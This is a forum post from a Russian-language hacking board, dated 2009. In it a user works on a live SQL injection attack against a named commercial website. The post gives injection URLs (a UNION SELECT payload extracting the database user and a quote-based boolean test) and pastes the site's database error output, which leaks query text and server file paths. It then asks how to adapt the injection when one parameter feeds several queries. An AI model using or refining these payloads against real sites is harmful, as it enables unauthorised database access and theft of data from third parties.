Показать сообщение отдельно

  #11  
Старый 11.05.2009, 20:36
udman
Постоянный
Регистрация: 21.04.2009
Сообщений: 321
С нами: 8976875

Репутация: 239
По умолчанию

http://pocketbook.com.ua/index.php?id=204+union+select+0,user(),2,3,4,5,6,7 ,8,9,10,11,12,13,14+--+
вопрос что как здесь правильно поступить если 1 переменная в 2 или 3-х запросах
Цитата:
Ошибка в SQL запросе:
SELECT parent_id, page_id FROM tbl_page WHERE page_id = 204 union select 0,user(),2,3,4,5,6,7,8,9,10,11,12,13,14 --

Ответ MySQL сервера:
The used SELECT statements have a different number of columns

В файле:
/var/www/pocketbook/data/www/pocketbook.com.ua/functions.php

Строка:
160
Время: 2009-05-11 19-18-40

Ошибка в SQL запросе:
SELECT element_type, tbl_page.status, tbl_elements.element_id, tbl_attributes.value from tbl_page left join tbl_template using (template_id) left join tbl_elements using (template_id) left join tbl_attributes using (element_id) where tbl_page.page_id = 204 union select 0,user(),2,3,4,5,6,7,8,9,10,11,12,13,14 -- AND tbl_page.status=2 AND tbl_attributes.name = "field_name"

Ответ MySQL сервера:
The used SELECT statements have a different number of columns

В файле:
/var/www/pocketbook/data/www/pocketbook.com.ua/class/content_simple.class.php

Строка:
207
Время: 2009-05-11 19-18-40

1
mailbrush:
на этом сайте пробывал не получается как ты говришь, вот

http://pocketbook.com.ua/index.php?id=204'+and+'1'='2'

поправь меня если мож не так понял
 
Ответить с цитированием